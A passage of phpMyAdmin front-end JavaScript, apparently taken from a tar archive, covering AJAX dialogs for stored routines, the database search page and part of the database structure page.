=== count) { showExport(combined); } } else { // complain even if one export is failing combined.success = false; combined.error += '\n' + data.error + '\n'; if (returnCount === count) { showExport(combined); } } }); }); }); } else { $.get($this.attr('href'), { 'ajax_request': true }, showExport); } Functions.ajaxRemoveMessage($msg); function showExport (data) { if (data.success === true) { Functions.ajaxRemoveMessage($msg); /** * @var buttonOptions Object containing options * for jQueryUI dialog buttons */ var buttonOptions = { [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-primary', click: function () { $(this).dialog('close').remove(); } }, }; /** * Display the dialog to the user */ data.message = ''; var $ajaxDialog = $('
          ' + data.message + '
          ').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 500, buttons: buttonOptions, title: data.title }); // Attach syntax highlighted editor to export dialog /** * @var $elm jQuery object containing the reference * to the Export textarea. */ var $elm = $ajaxDialog.find('textarea'); Functions.getSqlEditor($elm); } else { Functions.ajaxShowMessage(data.error, false); } } // end showExport() }, // end exportDialog() editorDialog: function (isNew, $this) { var that = this; /** * @var $edit_row jQuery object containing the reference to * the row of the the item being edited * from the list of items */ var $editRow = null; if ($this.hasClass('edit_anchor')) { // Remember the row of the item being edited for later, // so that if the edit is successful, we can replace the // row with info about the modified item. $editRow = $this.parents('tr'); } /** * @var $msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(); $.get($this.attr('href'), { 'ajax_request': true }, function (data) { if (data.success === true) { var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, class: 'btn btn-primary', }, [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-secondary', }, }; // We have successfully fetched the editor form Functions.ajaxRemoveMessage($msg); // Now define the function that is called when // the user presses the "Go" button buttonOptions[Messages.strGo].click = function () { // Move the data from the codemirror editor back to the // textarea, where it can be used in the form submission. if (typeof CodeMirror !== 'undefined') { that.syntaxHiglighter.save(); } // Validate editor and submit request, if passed. if (that.validate()) { /** * @var data Form data to be sent in the AJAX request */ var data = $('form.rte_form').last().serialize(); $msg = Functions.ajaxShowMessage( Messages.strProcessingRequest ); var url = $('form.rte_form').last().attr('action'); $.post(url, data, function (data) { if (data.success === true) { // Item created successfully Functions.ajaxRemoveMessage($msg); Functions.slidingMessage(data.message); that.$ajaxDialog.dialog('close'); var tableId = '#' + data.tableType + 'Table'; // If we are in 'edit' mode, we must // remove the reference to the old row. if (mode === 'edit' && $editRow !== null) { $editRow.remove(); } // Sometimes, like when moving a trigger from // a table to another one, the new row should // not be inserted into the list. In this case // "data.insert" will be set to false. if (data.insert) { // Insert the new row at the correct // location in the list of items /** * @var text Contains the name of an item from * the list that is used in comparisons * to find the correct location where * to insert a new row. */ var text = ''; /** * @var inserted Whether a new item has been * inserted in the list or not */ var inserted = false; $(tableId + '.data').find('tr').each(function () { text = $(this) .children('td') .eq(0) .find('strong') .text() .toUpperCase() .trim(); if (text !== '' && text > data.name) { $(this).before(data.new_row); inserted = true; return false; } }); if (! inserted) { // If we didn't manage to insert the row yet, // it must belong at the end of the list, // so we insert it there. $(tableId + '.data').append(data.new_row); } // Fade-in the new row $('tr.ajaxInsert') .show('slow') .removeClass('ajaxInsert'); } else if ($(tableId + '.data').find('tr').has('td').length === 0) { // If we are not supposed to insert the new row, // we will now check if the table is empty and // needs to be hidden. This will be the case if // we were editing the only item in the list, // which we removed and will not be inserting // something else in its place. $(tableId + '.data').hide('slow', function () { $('#nothing2display').show('slow'); }); } // Now we have inserted the row at the correct // position, but surely at least some row classes // are wrong now. So we will iterate through // all rows and assign correct classes to them /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $(tableId + '.data').find('tr').has('td').each(function () { rowclass = (ct % 2 === 0) ? 'odd' : 'even'; $(this).removeClass('odd even').addClass(rowclass); ct++; }); // If this is the first item being added, remove // the "No items" message and show the list. if ($(tableId + '.data').find('tr').has('td').length > 0 && $('#nothing2display').is(':visible') ) { $('#nothing2display').hide('slow', function () { $(tableId + '.data').show('slow'); }); } Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() } // end "if (that.validate())" }; // end of function that handles the submission of the Editor buttonOptions[Messages.strClose].click = function () { $(this).dialog('close'); }; /** * Display the dialog to the user */ that.$ajaxDialog = $('
          ' + data.message + '
          ').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, height: 400, width: 700, minWidth: 500, buttons: buttonOptions, // Issue #15810 - use button titles for modals (eg: new procedure) // Respect the order: title on href tag, href content, title sent in response title: $this.attr('title') || $this.text() || $(data.title).text(), modal: true, open: function () { $('#rteDialog').dialog('option', 'max-height', $(window).height()); if ($('#rteDialog').parents('.ui-dialog').height() > $(window).height()) { $('#rteDialog').dialog('option', 'height', $(window).height()); } $(this).find('input[name=item_name]').trigger('focus'); $(this).find('input.datefield').each(function () { Functions.addDatepicker($(this).css('width', '95%'), 'date'); }); $(this).find('input.datetimefield').each(function () { Functions.addDatepicker($(this).css('width', '95%'), 'datetime'); }); $.datepicker.initialized = false; }, close: function () { $(this).remove(); } }); /** * @var mode Used to remember whether the editor is in * "Edit" or "Add" mode */ var mode = 'add'; if ($('input[name=editor_process_edit]').length > 0) { mode = 'edit'; } // Attach syntax highlighted editor to the definition /** * @var elm jQuery object containing the reference to * the Definition textarea. */ var $elm = $('textarea[name=item_definition]').last(); var linterOptions = {}; linterOptions.routineEditor = true; that.syntaxHiglighter = Functions.getSqlEditor($elm, {}, 'both', linterOptions); // Execute item-specific code that.postDialogShow(data); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.get() }, dropDialog: function ($this) { /** * @var $curr_row Object containing reference to the current row */ var $currRow = $this.parents('tr'); /** * @var question String containing the question to be asked for confirmation */ var question = $('
          ').text( $currRow.children('td').children('.drop_sql').html() ); // We ask for confirmation first here, before submitting the ajax request $this.confirm(question, $this.attr('href'), function (url) { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $this.getPostData()); $.post(url, params, function (data) { if (data.success === true) { /** * @var $table Object containing reference * to the main list of elements */ var $table = $currRow.parent().parent(); // Check how many rows will be left after we remove // the one that the user has requested us to remove if ($table.find('tr').length === 3) { // If there are two rows left, it means that they are // the header of the table and the rows that we are // about to remove, so after the removal there will be // nothing to show in the table, so we hide it. $table.hide('slow', function () { $(this).find('tr.even, tr.odd').remove(); $('.withSelected').remove(); $('#nothing2display').show('slow'); }); } else { $currRow.hide('slow', function () { $(this).remove(); // Now we have removed the row from the list, but maybe // some row classes are wrong now. So we will iterate // through all rows and assign correct classes to them. /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $table.find('tr').has('td').each(function () { rowclass = (ct % 2 === 1) ? 'odd' : 'even'; $(this).removeClass('odd even').addClass(rowclass); ct++; }); }); } // Get rid of the "Loading" message Functions.ajaxRemoveMessage($msg); // Show the query that we just executed Functions.slidingMessage(data.sql_query); Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); }, dropMultipleDialog: function ($this) { // We ask for confirmation here $this.confirm(Messages.strDropRTEitems, '', function () { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); // drop anchors of all selected rows var dropAnchors = $('input.checkall:checked').parents('tr').find('.drop_anchor'); var success = true; var count = dropAnchors.length; var returnCount = 0; dropAnchors.each(function () { var $anchor = $(this); /** * @var $curr_row Object containing reference to the current row */ var $currRow = $anchor.parents('tr'); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); $.post($anchor.attr('href'), params, function (data) { returnCount++; if (data.success === true) { /** * @var $table Object containing reference * to the main list of elements */ var $table = $currRow.parent().parent(); // Check how many rows will be left after we remove // the one that the user has requested us to remove if ($table.find('tr').length === 3) { // If there are two rows left, it means that they are // the header of the table and the rows that we are // about to remove, so after the removal there will be // nothing to show in the table, so we hide it. $table.hide('slow', function () { $(this).find('tr.even, tr.odd').remove(); $('.withSelected').remove(); $('#nothing2display').show('slow'); }); } else { $currRow.hide('fast', function () { // we will iterate // through all rows and assign correct classes to them. /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $table.find('tr').has('td').each(function () { rowclass = (ct % 2 === 1) ? 'odd' : 'even'; $(this).removeClass('odd even').addClass(rowclass); ct++; }); }); $currRow.remove(); } if (returnCount === count) { if (success) { // Get rid of the "Loading" message Functions.ajaxRemoveMessage($msg); $('#rteListForm_checkall').prop({ checked: false, indeterminate: false }); } Navigation.reload(); } } else { Functions.ajaxShowMessage(data.error, false); success = false; if (returnCount === count) { Navigation.reload(); } } }); // end $.post() }); // end drop_anchors.each() }); }, /** * Execute some code after the ajax dialog for the editor is shown. * * @param data JSON-encoded data from the ajax request */ postDialogShow: function (data) { // Cache the template for a parameter table row DatabaseRoutines.paramTemplate = data.paramTemplate; var that = this; // Make adjustments in the dialog to make it AJAX compatible $('td.routine_param_remove').show(); // Enable/disable the 'options' dropdowns for parameters as necessary $('table.routine_params_table').last().find('th[colspan=2]').attr('colspan', '1'); $('table.routine_params_table').last().find('tr').has('td').each(function () { that.setOptionsForParameter( $(this).find('select[name^=item_param_type]'), $(this).find('input[name^=item_param_length]'), $(this).find('select[name^=item_param_opts_text]'), $(this).find('select[name^=item_param_opts_num]') ); }); // Enable/disable the 'options' dropdowns for // function return value as necessary this.setOptionsForParameter( $('table.rte_table').last().find('select[name=item_returntype]'), $('table.rte_table').last().find('input[name=item_returnlength]'), $('table.rte_table').last().find('select[name=item_returnopts_text]'), $('table.rte_table').last().find('select[name=item_returnopts_num]') ); // Allow changing parameter order $('.routine_params_table tbody').sortable({ containment: '.routine_params_table tbody', handle: '.dragHandle', stop: function () { that.reindexParameters(); }, }); }, /** * Reindexes the parameters after dropping a parameter or reordering parameters */ reindexParameters: function () { /** * @var index Counter used for reindexing the input * fields in the routine parameters table */ var index = 0; $('table.routine_params_table tbody').find('tr').each(function () { $(this).find(':input').each(function () { /** * @var inputname The value of the name attribute of * the input field being reindexed */ var inputname = $(this).attr('name'); if (inputname.substr(0, 14) === 'item_param_dir') { $(this).attr('name', inputname.substr(0, 14) + '[' + index + ']'); } else if (inputname.substr(0, 15) === 'item_param_name') { $(this).attr('name', inputname.substr(0, 15) + '[' + index + ']'); } else if (inputname.substr(0, 15) === 'item_param_type') { $(this).attr('name', inputname.substr(0, 15) + '[' + index + ']'); } else if (inputname.substr(0, 17) === 'item_param_length') { $(this).attr('name', inputname.substr(0, 17) + '[' + index + ']'); $(this).attr('id', 'item_param_length_' + index); } else if (inputname.substr(0, 20) === 'item_param_opts_text') { $(this).attr('name', inputname.substr(0, 20) + '[' + index + ']'); } else if (inputname.substr(0, 19) === 'item_param_opts_num') { $(this).attr('name', inputname.substr(0, 19) + '[' + index + ']'); } }); index++; }); }, /** * Validate custom editor form fields. * * @return {bool} */ validateCustom: function () { /** * @var isSuccess Stores the outcome of the validation */ var isSuccess = true; /** * @var inputname The value of the "name" attribute for * the field that is being processed */ var inputname = ''; this.$ajaxDialog.find('table.routine_params_table').last().find('tr').each(function () { // Every parameter of a routine must have // a non-empty direction, name and type if (isSuccess) { $(this).find(':input').each(function () { inputname = $(this).attr('name'); if (inputname.substr(0, 14) === 'item_param_dir' || inputname.substr(0, 15) === 'item_param_name' || inputname.substr(0, 15) === 'item_param_type') { if ($(this).val() === '') { $(this).trigger('focus'); isSuccess = false; return false; } } }); } else { return false; } }); if (! isSuccess) { alert(Messages.strFormEmpty); return false; } this.$ajaxDialog.find('table.routine_params_table').last().find('tr').each(function () { // SET, ENUM, VARCHAR and VARBINARY fields must have length/values var $inputtyp = $(this).find('select[name^=item_param_type]'); var $inputlen = $(this).find('input[name^=item_param_length]'); if ($inputtyp.length && $inputlen.length) { if (($inputtyp.val() === 'ENUM' || $inputtyp.val() === 'SET' || $inputtyp.val().substr(0, 3) === 'VAR') && $inputlen.val() === '' ) { $inputlen.trigger('focus'); isSuccess = false; return false; } } }); if (! isSuccess) { alert(Messages.strFormEmpty); return false; } if (this.$ajaxDialog.find('select[name=item_type]').find(':selected').val() === 'FUNCTION') { // The length/values of return variable for functions must // be set, if the type is SET, ENUM, VARCHAR or VARBINARY. var $returntyp = this.$ajaxDialog.find('select[name=item_returntype]'); var $returnlen = this.$ajaxDialog.find('input[name=item_returnlength]'); if (($returntyp.val() === 'ENUM' || $returntyp.val() === 'SET' || $returntyp.val().substr(0, 3) === 'VAR') && $returnlen.val() === '' ) { $returnlen.trigger('focus'); alert(Messages.strFormEmpty); return false; } } if ($('select[name=item_type]').find(':selected').val() === 'FUNCTION') { // A function must contain a RETURN statement in its definition if (this.$ajaxDialog.find('table.rte_table').find('textarea[name=item_definition]').val().toUpperCase().indexOf('RETURN') < 0) { this.syntaxHiglighter.focus(); alert(Messages.MissingReturn); return false; } } return true; }, /** * Enable/disable the "options" dropdown and "length" input for * parameters and the return variable in the routine editor * as necessary. * * @param $type a jQuery object containing the reference * to the "Type" dropdown box * @param $len a jQuery object containing the reference * to the "Length" input box * @param $text a jQuery object containing the reference * to the dropdown box with options for * parameters of text type * @param $num a jQuery object containing the reference * to the dropdown box with options for * parameters of numeric type */ setOptionsForParameter: function ($type, $len, $text, $num) { /** * @var no_opts a jQuery object containing the reference * to an element to be displayed when no * options are available */ var $noOpts = $text.parent().parent().find('.no_opts'); /** * @var no_len a jQuery object containing the reference * to an element to be displayed when no * "length/values" field is available */ var $noLen = $len.parent().parent().find('.no_len'); // Process for parameter options switch ($type.val()) { case 'TINYINT': case 'SMALLINT': case 'MEDIUMINT': case 'INT': case 'BIGINT': case 'DECIMAL': case 'FLOAT': case 'DOUBLE': case 'REAL': $text.parent().hide(); $num.parent().show(); $noOpts.hide(); break; case 'TINYTEXT': case 'TEXT': case 'MEDIUMTEXT': case 'LONGTEXT': case 'CHAR': case 'VARCHAR': case 'SET': case 'ENUM': $text.parent().show(); $num.parent().hide(); $noOpts.hide(); break; default: $text.parent().hide(); $num.parent().hide(); $noOpts.show(); break; } // Process for parameter length switch ($type.val()) { case 'DATE': case 'TINYBLOB': case 'TINYTEXT': case 'BLOB': case 'TEXT': case 'MEDIUMBLOB': case 'MEDIUMTEXT': case 'LONGBLOB': case 'LONGTEXT': $text.closest('tr').find('a').first().hide(); $len.parent().hide(); $noLen.show(); break; default: if ($type.val() === 'ENUM' || $type.val() === 'SET') { $text.closest('tr').find('a').first().show(); } else { $text.closest('tr').find('a').first().hide(); } $len.parent().show(); $noLen.hide(); break; } }, executeDialog: function ($this) { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(); var params = Functions.getJsConfirmCommonParam($this[0], $this.getPostData()); $.post($this.attr('href'), params, function (data) { if (data.success === true) { Functions.ajaxRemoveMessage($msg); // If 'data.dialog' is true we show a dialog with a form // to get the input parameters for routine, otherwise // we just show the results of the query if (data.dialog) { var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, class: 'btn btn-primary', }, [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-secondary', }, }; // Define the function that is called when // the user presses the "Go" button buttonOptions[Messages.strGo].click = function () { /** * @var data Form data to be sent in the AJAX request */ var data = $('form.rte_form').last().serialize(); $msg = Functions.ajaxShowMessage( Messages.strProcessingRequest ); $.post('index.php?route=/database/routines', data, function (data) { if (data.success === true) { // Routine executed successfully Functions.ajaxRemoveMessage($msg); Functions.slidingMessage(data.message); $ajaxDialog.dialog('close'); } else { Functions.ajaxShowMessage(data.error, false); } }); }; buttonOptions[Messages.strClose].click = function () { $(this).dialog('close'); }; /** * Display the dialog to the user */ var $ajaxDialog = $('
          ' + data.message + '
          ').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 650, buttons: buttonOptions, title: data.title, modal: true, close: function () { $(this).remove(); } }); $ajaxDialog.find('input[name^=params]').first().trigger('focus'); /** * Attach the datepickers to the relevant form fields */ $ajaxDialog.find('input.datefield, input.datetimefield').each(function () { Functions.addDatepicker($(this).css('width', '95%')); }); /* * Define the function if the user presses enter */ $('form.rte_form').on('keyup', function (event) { event.preventDefault(); if (event.keyCode === 13) { /** * @var data Form data to be sent in the AJAX request */ var data = $(this).serialize(); $msg = Functions.ajaxShowMessage( Messages.strProcessingRequest ); var url = $(this).attr('action'); $.post(url, data, function (data) { if (data.success === true) { // Routine executed successfully Functions.ajaxRemoveMessage($msg); Functions.slidingMessage(data.message); $('form.rte_form').off('keyup'); $ajaxDialog.remove(); } else { Functions.ajaxShowMessage(data.error, false); } }); } }); } else { // Routine executed successfully Functions.slidingMessage(data.message); } } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() } }; AJAX.registerOnload('database/routines.js', function () { $(document).on('click', 'a.ajax.add_anchor', function (event) { event.preventDefault(); $.datepicker.initialized = false; DatabaseRoutines.editorDialog(true, $(this)); }); $(document).on('click', 'a.ajax.edit_anchor', function (event) { event.preventDefault(); DatabaseRoutines.editorDialog(false, $(this)); }); $(document).on('click', 'a.ajax.exec_anchor', function (event) { event.preventDefault(); DatabaseRoutines.executeDialog($(this)); }); $(document).on('click', 'a.ajax.export_anchor', function (event) { event.preventDefault(); DatabaseRoutines.exportDialog($(this)); }); $(document).on('click', '#bulkActionExportButton', function (event) { event.preventDefault(); DatabaseRoutines.exportDialog($(this)); }); $(document).on('click', 'a.ajax.drop_anchor', function (event) { event.preventDefault(); DatabaseRoutines.dropDialog($(this)); }); $(document).on('click', '#bulkActionDropButton', function (event) { event.preventDefault(); DatabaseRoutines.dropMultipleDialog($(this)); }); $(document).on('change', 'select[name=item_type]', function () { $(this).closest('table').find('tr.routine_return_row, .routine_direction_cell').toggle(); }); $(document).on('change', 'select[name^=item_param_type]', function () { const $row = $(this).parents('tr').first(); DatabaseRoutines.setOptionsForParameter( $row.find('select[name^=item_param_type]'), $row.find('input[name^=item_param_length]'), $row.find('select[name^=item_param_opts_text]'), $row.find('select[name^=item_param_opts_num]') ); }); $(document).on('change', 'select[name=item_returntype]', function () { const $table = $(this).closest('table.rte_table'); DatabaseRoutines.setOptionsForParameter( $table.find('select[name=item_returntype]'), $table.find('input[name=item_returnlength]'), $table.find('select[name=item_returnopts_text]'), $table.find('select[name=item_returnopts_num]') ); }); $(document).on('click', '#addRoutineParameterButton', function (event) { event.preventDefault(); /** * @var routine_params_table jQuery object containing the reference * to the routine parameters table */ const $routineParamsTable = $(this).closest('div.ui-dialog').find('.routine_params_table'); /** * @var new_param_row A string containing the HTML code for the * new row for the routine parameters table */ const newParamRow = DatabaseRoutines.paramTemplate.replace(/%s/g, $routineParamsTable.find('tr').length - 1); // Append the new row to the parameters table $routineParamsTable.append(newParamRow); // Make sure that the row is correctly shown according to the type of routine if ($(this).closest('div.ui-dialog').find('table.rte_table select[name=item_type]').val() === 'FUNCTION') { $('tr.routine_return_row').show(); $('td.routine_direction_cell').hide(); } /** * @var newrow jQuery object containing the reference to the newly * inserted row in the routine parameters table */ const $newrow = $(this).closest('div.ui-dialog').find('table.routine_params_table').find('tr').has('td').last(); // Enable/disable the 'options' dropdowns for parameters as necessary DatabaseRoutines.setOptionsForParameter( $newrow.find('select[name^=item_param_type]'), $newrow.find('input[name^=item_param_length]'), $newrow.find('select[name^=item_param_opts_text]'), $newrow.find('select[name^=item_param_opts_num]') ); }); $(document).on('click', 'a.routine_param_remove_anchor', function (event) { event.preventDefault(); $(this).parent().parent().remove(); // After removing a parameter, the indices of the name attributes in // the input fields lose the correct order and need to be reordered. DatabaseRoutines.reindexParameters(); }); }); database/search.js000066600000022114151724624350010130 0ustar00/** * JavaScript functions used on Database Search page * * @requires jQuery * @requires js/functions.js * * @package PhpMyAdmin */ /* global makeGrid */ // js/makegrid.js /** * AJAX script for the Database Search page. * * Actions ajaxified here: * Retrieve result of SQL query */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('database/search.js', function () { $('a.browse_results').off('click'); $('a.delete_results').off('click'); $('#buttonGo').off('click'); $('#togglesearchresultlink').off('click'); $('#togglequerybox').off('click'); $('#togglesearchformlink').off('click'); $('#select_all').off('click'); $('#unselect_all').off('click'); $(document).off('submit', '#db_search_form.ajax'); }); AJAX.registerOnload('database/search.js', function () { /** Hide the table link in the initial search result */ var icon = Functions.getImage('s_tbl', '', { 'id': 'table-image' }).toString(); $('#table-info').prepend(icon).hide(); /** Hide the browse and deleted results in the new search criteria */ $('#buttonGo').on('click', function () { $('#table-info').hide(); $('#browse-results').hide(); $('#sqlqueryform').hide(); $('#togglequerybox').hide(); }); /** * Prepare a div containing a link for toggle the search results */ $('#togglesearchresultsdiv') /** don't show it until we have results on-screen */ .hide(); /** * Changing the displayed text according to * the hide/show criteria in search result forms */ $('#togglesearchresultlink') .html(Messages.strHideSearchResults) .on('click', function () { var $link = $(this); $('#searchresults').slideToggle(); if ($link.text() === Messages.strHideSearchResults) { $link.text(Messages.strShowSearchResults); } else { $link.text(Messages.strHideSearchResults); } /** avoid default click action */ return false; }); /** * Prepare a div containing a link for toggle the search form, * otherwise it's incorrectly displayed after a couple of clicks */ $('#togglesearchformdiv') .hide(); // don't show it until we have results on-screen /** * Changing the displayed text according to * the hide/show criteria in search form */ $('#togglequerybox') .hide() .on('click', function () { var $link = $(this); $('#sqlqueryform').slideToggle('medium'); if ($link.text() === Messages.strHideQueryBox) { $link.text(Messages.strShowQueryBox); } else { $link.text(Messages.strHideQueryBox); } /** avoid default click action */ return false; }); /** don't show it until we have results on-screen */ /** * Changing the displayed text according to * the hide/show criteria in search criteria form */ $('#togglesearchformlink') .html(Messages.strShowSearchCriteria) .on('click', function () { var $link = $(this); $('#db_search_form').slideToggle(); if ($link.text() === Messages.strHideSearchCriteria) { $link.text(Messages.strShowSearchCriteria); } else { $link.text(Messages.strHideSearchCriteria); } /** avoid default click action */ return false; }); /* * Ajax Event handler for retrieving the results from a table */ $(document).on('click', 'a.browse_results', function (e) { e.preventDefault(); /** Hides the results shown by the delete criteria */ var $msg = Functions.ajaxShowMessage(Messages.strBrowsing, false); $('#sqlqueryform').hide(); $('#togglequerybox').hide(); /** Load the browse results to the page */ $('#table-info').show(); var tableName = $(this).data('table-name'); $('#table-link').attr({ 'href' : $(this).attr('href') }).text(tableName); var url = $(this).attr('href') + '#searchresults'; var browseSql = $(this).data('browse-sql'); var params = { 'ajax_request': true, 'is_js_confirmed': true, 'sql_query' : browseSql }; $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success) { $('#browse-results').html(data.message); Functions.ajaxRemoveMessage($msg); $('.table_results').each(function () { makeGrid(this, true, true, true, true); }); $('#browse-results').show(); Functions.highlightSql($('#browse-results')); $('html, body') .animate({ scrollTop: $('#browse-results').offset().top }, 1000); } else { Functions.ajaxShowMessage(data.error, false); } }); }); /* * Ajax Event handler for deleting the results from a table */ $(document).on('click', 'a.delete_results', function (e) { e.preventDefault(); /** Hides the results shown by the browse criteria */ $('#table-info').hide(); $('#sqlqueryform').hide(); $('#togglequerybox').hide(); /** Conformation message for deletion */ var msg = Functions.sprintf( Messages.strConfirmDeleteResults, $(this).data('table-name') ); if (confirm(msg)) { var $msg = Functions.ajaxShowMessage(Messages.strDeleting, false); /** Load the deleted option to the page*/ $('#sqlqueryform').html(''); var params = { 'ajax_request': true, 'is_js_confirmed': true, 'sql_query': $(this).data('delete-sql') }; var url = $(this).attr('href'); $.post(url, params, function (data) { if (typeof data === 'undefined' || !data.success) { Functions.ajaxShowMessage(data.error, false); return; } $('#sqlqueryform').html(data.sql_query); /** Refresh the search results after the deletion */ $('#buttonGo').trigger('click'); $('#togglequerybox').html(Messages.strHideQueryBox); /** Show the results of the deletion option */ $('#browse-results').hide(); $('#sqlqueryform').show(); $('#togglequerybox').show(); $('html, body') .animate({ scrollTop: $('#browse-results').offset().top }, 1000); Functions.ajaxRemoveMessage($msg); }); } }); /** * Ajax Event handler for retrieving the result of an SQL Query */ $(document).on('submit', '#db_search_form.ajax', function (event) { event.preventDefault(); if ($('#criteriaTables :selected').length === 0) { Functions.ajaxShowMessage(Messages.strNoTableSelected); return; } var $msgbox = Functions.ajaxShowMessage(Messages.strSearching, false); // jQuery object to reuse var $form = $(this); Functions.prepareForAjaxRequest($form); var url = $form.serialize() + CommonParams.get('arg_separator') + 'submit_search=' + $('#buttonGo').val(); $.post($form.attr('action'), url, function (data) { if (typeof data !== 'undefined' && data.success === true) { // found results $('#searchresults').html(data.message); $('#togglesearchresultlink') // always start with the Show message .text(Messages.strHideSearchResults); $('#togglesearchresultsdiv') // now it's time to show the div containing the link .show(); $('#searchresults').show(); $('#db_search_form') // workaround for Chrome problem (bug #3168569) .slideToggle() .hide(); $('#togglesearchformlink') // always start with the Show message .text(Messages.strShowSearchCriteria); $('#togglesearchformdiv') // now it's time to show the div containing the link .show(); } else { // error message (zero rows) $('#searchresults').html(data.error).show(); } Functions.ajaxRemoveMessage($msgbox); }); }); $('#select_all').on('click', function () { Functions.setSelectOptions('db_search', 'criteriaTables[]', true); return false; }); $('#unselect_all').on('click', function () { Functions.setSelectOptions('db_search', 'criteriaTables[]', false); return false; }); }); // end $() database/structure.js000066600000040641151724624350010730 0ustar00/** * @fileoverview functions used on the database structure page * @name Database Structure * * @requires jQuery * @requires jQueryUI * @required js/functions.js */ var DatabaseStructure = {}; /** * AJAX scripts for /database/structure * * Actions ajaxified here: * Drop Database * Truncate Table * Drop Table * */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('database/structure.js', function () { $(document).off('click', 'a.truncate_table_anchor.ajax'); $(document).off('click', 'a.drop_table_anchor.ajax'); $(document).off('click', '#real_end_input'); $(document).off('click', 'a.favorite_table_anchor.ajax'); $('a.real_row_count').off('click'); $('a.row_count_sum').off('click'); $('select[name=submit_mult]').off('change'); }); /** * Adjust number of rows and total size in the summary * when truncating, creating, dropping or inserting into a table */ DatabaseStructure.adjustTotals = function () { var byteUnits = [ Messages.strB, Messages.strKiB, Messages.strMiB, Messages.strGiB, Messages.strTiB, Messages.strPiB, Messages.strEiB ]; /** * @var $allTr jQuery object that references all the rows in the list of tables */ var $allTr = $('#tablesForm').find('table.data tbody').first().find('tr'); // New summary values for the table var tableSum = $allTr.length; var rowsSum = 0; var sizeSum = 0; var overheadSum = 0; var rowSumApproximated = false; $allTr.each(function () { var $this = $(this); var i; var tmpVal; // Get the number of rows for this SQL table var strRows = $this.find('.tbl_rows').text(); // If the value is approximated if (strRows.indexOf('~') === 0) { rowSumApproximated = true; // The approximated value contains a preceding ~ (Eg 100 --> ~100) strRows = strRows.substring(1, strRows.length); } strRows = strRows.replace(/[,.\s]/g, ''); var intRow = parseInt(strRows, 10); if (! isNaN(intRow)) { rowsSum += intRow; } // Extract the size and overhead var valSize = 0; var valOverhead = 0; var strSize = $this.find('.tbl_size span:not(.unit)').text().trim(); var strSizeUnit = $this.find('.tbl_size span.unit').text().trim(); var strOverhead = $this.find('.tbl_overhead span:not(.unit)').text().trim(); var strOverheadUnit = $this.find('.tbl_overhead span.unit').text().trim(); // Given a value and a unit, such as 100 and KiB, for the table size // and overhead calculate their numeric values in bytes, such as 102400 for (i = 0; i < byteUnits.length; i++) { if (strSizeUnit === byteUnits[i]) { tmpVal = parseFloat(strSize); valSize = tmpVal * Math.pow(1024, i); break; } } for (i = 0; i < byteUnits.length; i++) { if (strOverheadUnit === byteUnits[i]) { tmpVal = parseFloat(strOverhead); valOverhead = tmpVal * Math.pow(1024, i); break; } } sizeSum += valSize; overheadSum += valOverhead; }); // Add some commas for readability: // 1000000 becomes 1,000,000 var strRowSum = rowsSum + ''; var regex = /(\d+)(\d{3})/; while (regex.test(strRowSum)) { strRowSum = strRowSum.replace(regex, '$1' + ',' + '$2'); } // If approximated total value add ~ in front if (rowSumApproximated) { strRowSum = '~' + strRowSum; } // Calculate the magnitude for the size and overhead values var sizeMagnitude = 0; var overheadMagnitude = 0; while (sizeSum >= 1024) { sizeSum /= 1024; sizeMagnitude++; } while (overheadSum >= 1024) { overheadSum /= 1024; overheadMagnitude++; } sizeSum = Math.round(sizeSum * 10) / 10; overheadSum = Math.round(overheadSum * 10) / 10; // Update summary with new data var $summary = $('#tbl_summary_row'); $summary.find('.tbl_num').text(Functions.sprintf(Messages.strNTables, tableSum)); if (rowSumApproximated) { $summary.find('.row_count_sum').text(strRowSum); } else { $summary.find('.tbl_rows').text(strRowSum); } $summary.find('.tbl_size').text(sizeSum + ' ' + byteUnits[sizeMagnitude]); $summary.find('.tbl_overhead').text(overheadSum + ' ' + byteUnits[overheadMagnitude]); }; /** * Gets the real row count for a table or DB. * @param {object} $target Target for appending the real count value. */ DatabaseStructure.fetchRealRowCount = function ($target) { var $throbber = $('#pma_navigation').find('.throbber') .first() .clone() .css({ visibility: 'visible', display: 'inline-block' }) .on('click', false); $target.html($throbber); $.ajax({ type: 'GET', url: $target.attr('href'), cache: false, dataType: 'json', success: function (response) { if (response.success) { // If to update all row counts for a DB. if (response.real_row_count_all) { $.each(JSON.parse(response.real_row_count_all), function (index, table) { // Update each table row count. $('table.data td[data-table*="' + table.table + '"]') .text(table.row_count); } ); } // If to update a particular table's row count. if (response.real_row_count) { // Append the parent cell with real row count. $target.parent().text(response.real_row_count); } // Adjust the 'Sum' displayed at the bottom. DatabaseStructure.adjustTotals(); } else { Functions.ajaxShowMessage(Messages.strErrorRealRowCount); } }, error: function () { Functions.ajaxShowMessage(Messages.strErrorRealRowCount); } }); }; AJAX.registerOnload('database/structure.js', function () { /** * Event handler on select of "Make consistent with central list" */ $('select[name=submit_mult]').on('change', function (event) { var url = 'index.php?route=/database/structure'; var action = 